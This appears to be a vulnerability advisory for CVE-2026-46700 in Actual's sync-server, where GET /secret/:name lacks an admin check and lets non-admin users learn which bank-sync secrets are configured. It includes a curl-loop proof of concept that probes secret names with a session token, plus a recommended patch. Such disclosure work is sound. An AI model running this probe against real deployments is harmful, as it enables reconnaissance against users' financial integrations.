PT-2026-51448 · Npm · @Actual-App/Sync-Server

Publicado

2026-06-22

·

Atualizado

2026-06-22

·

CVE-2026-46700

CVSS v3.1

4.3

Média

VetorAV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

In @actual-app/sync-server, the GET /secret/:name endpoint (app-secrets.js:53) checks only that the caller has a valid session — it does not verify the caller is an admin. The sibling POST /secret/ handler does enforce an admin check in OpenID mode, exposing an authorization asymmetry. Any authenticated non-admin (BASIC) user in OpenID multi-user deployments can probe the secrets store and learn which admin-managed bank-sync integrations have been configured (existence, not values). This includes integration credentials that are not otherwise observable to non-admins, such as simplefin accessKey, pluggyai clientSecret, pluggyai itemIds, and the gocardless * secrets.

Details

packages/sync-server/src/app-secrets.js mounts validateSessionMiddleware at the router level (line 15), so all handlers inherit only "must be authenticated." The POST handler then explicitly upgrades to an admin check when the active auth method is openid:
js
// app-secrets.js:17-46
app.post('/', async (req, res) => {
 // ... look up active auth method ...
 if (method === 'openid') {
  const canSaveSecrets = isAdmin(res.locals.user id);
  if (!canSaveSecrets) {
   res.status(403).send({
    status: 'error',
    reason: 'not-admin',
    details: 'You have to be admin to set secrets',
   });
   return;
  }
 }
 secretsService.set(name, value);
 // ...
});
The sibling GET handler skips both the method check and the admin check entirely:
js
// app-secrets.js:53-61
app.get('/:name', async (req, res) => {
 const name = req.params.name;
 const keyExists = secretsService.exists(name);
 if (keyExists) {
  res.sendStatus(204);
 } else {
  res.status(404).send('key not found');
 }
});
The intent — visible from the POST handler's "You have to be admin to set secrets" — is that this store holds admin-managed credentials. The valid secret names enumerated in services/secrets-service.js (SecretName) are: gocardless secretId, gocardless secretKey, simplefin token, simplefin accessKey, pluggyai clientId, pluggyai clientSecret, pluggyai itemIds.
In OpenID mode, BASIC users obtain valid sessions through packages/sync-server/src/accounts/openid.ts:264-274 — either auto-created (userCreationMode=login) or pre-provisioned by the admin (userCreationMode=manual). With that BASIC session token they can hit GET /secret/:name and distinguish 204 (configured) from 404 (missing), enumerating each admin-managed secret name. Some signals (simplefin token existence, pluggyai clientId existence) are already coarsely observable via the unauthenticated bank-sync status endpoints (app-simplefin.js:18, app-pluggyai.js:18); the rest (simplefin accessKey, pluggyai clientSecret, pluggyai itemIds, both gocardless * secrets) are not otherwise probeable.
This is structurally identical to the previously reported missing-admin-check on GET /admin/users/ (app-admin.js:28): a POST sibling enforces admin authorization while the GET sibling omits it.

PoC

Pre-requisites:
  • Server is configured for OpenID multi-user mode (ACTUAL OPENID ENFORCE=true or auth method is openid).
  • An admin has configured one or more bank-sync integrations.
  • The attacker is any authenticated BASIC user (auto-created via userCreationMode=login, or admin-provisioned in the default manual mode).
Step 1 — capture a BASIC user's session token in $TOKEN (standard OpenID login flow, no admin role required).
Step 2 — probe each admin-managed secret name:
bash
for name in gocardless secretId gocardless secretKey 
      simplefin token simplefin accessKey 
      pluggyai clientId pluggyai clientSecret pluggyai itemIds; do
 status=$(curl -s -o /dev/null -w '%{http code}' 
      -H "X-ACTUAL-TOKEN: $TOKEN" 
      https://actual.example.com/secret/$name)
 echo "$name -> $status"  # 204 = configured, 404 = missing
done
Step 3 — confirm the asymmetry by attempting to write a secret (correctly rejected for non-admins):
bash
curl -s -H "X-ACTUAL-TOKEN: $TOKEN" 
   -H 'Content-Type: application/json' 
   -d '{"name":"pluggyai itemIds","value":"x"}' 
   https://actual.example.com/secret/
# {"status":"error","reason":"not-admin","details":"You have to be admin to set secrets"}
The POST returns 403 not-admin; the GET returns 204/404 unauthenticated-against-role.

Impact

  • A non-admin authenticated user in OpenID multi-user mode can enumerate which admin-managed bank-sync integrations the deployment uses.
  • This reveals whether GoCardless, SimpleFIN, and/or Pluggy AI are configured, and which auxiliary credentials the admin has set (e.g. simplefin accessKey, pluggyai clientSecret, pluggyai itemIds) — none of which are otherwise observable to non-admins.
  • The disclosure is existence-only; secret values are not returned. Impact is limited to recon useful for targeted follow-on attacks (e.g. credential phishing, picking which integration to attack on a separate vulnerability).
  • No integrity or availability impact.

Recommended Fix

Mirror the POST handler's admin gate on the GET handler. Minimal patch in packages/sync-server/src/app-secrets.js:
js
app.get('/:name', async (req, res) => {
 let method;
 try {
  const result = getAccountDb().first(
   'SELECT method FROM auth WHERE active = 1',
  );
  method = result?.method;
 } catch (error) {
  console.error('Failed to fetch auth method:', error);
  return res.status(500).send({
   status: 'error',
   reason: 'database-error',
   details: 'Failed to validate authentication method',
  });
 }

 if (method === 'openid' && !isAdmin(res.locals.user id)) {
  return res.status(403).send({
   status: 'error',
   reason: 'not-admin',
   details: 'You have to be admin to read secret status',
  });
 }

 const name = req.params.name;
 const keyExists = secretsService.exists(name);
 if (keyExists) {
  res.sendStatus(204);
 } else {
  res.status(404).send('key not found');
 }
});
Consider factoring the method-lookup + admin-check into a shared helper used by both POST and GET to prevent the same asymmetry from recurring. Also consider restricting :name to the SecretName enum so unrelated probing is rejected up front.

Correção

Improper Authorization

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Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-46700
GHSA-3F62-QV96-4P78

Produtos afetados

@Actual-App/Sync-Server